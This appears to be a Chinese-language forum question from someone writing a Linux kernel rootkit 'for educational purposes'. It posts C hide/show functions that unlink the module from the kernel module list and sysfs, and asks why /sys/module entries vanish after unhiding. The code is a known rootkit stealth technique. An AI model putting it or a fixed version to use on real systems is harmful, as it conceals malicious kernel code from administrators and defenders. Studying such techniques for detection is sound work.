我正在做一个rootkit用于教育目的,但我遇到了一个问题:每当我隐藏我的模块并将其显示回来时,/sys/module/mymodule/
的内容都会被删除。
这是我的隐藏和显示功能:
void module_hide(void) {
/* The module is already hidden, do nothing. */
if(module_hidden) return;
module_previous = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
module_hidden = !module_hidden;
printk(KERN_INFO "Module hidden\n");
}
void module_show(void) {
/* The module is not hidden yet, nothing more to show. */
if(!module_hidden) return;
list_add(&THIS_MODULE->list, module_previous);
kobject_add(&THIS_MODULE->mkobj.kobj, THIS_MODULE->mkobj.kobj.parent, MODULE_NAME);
module_hidden = !module_hidden;
printk(KERN_INFO "Module no longer hidden\n");
}
我尝试用kobjec_add
替换kobject_init_and_add
,但它不起作用,所以我想我要么忘记了某些内容,要么删除了太多东西。
另外,我试图在Linux 4.7上运行它。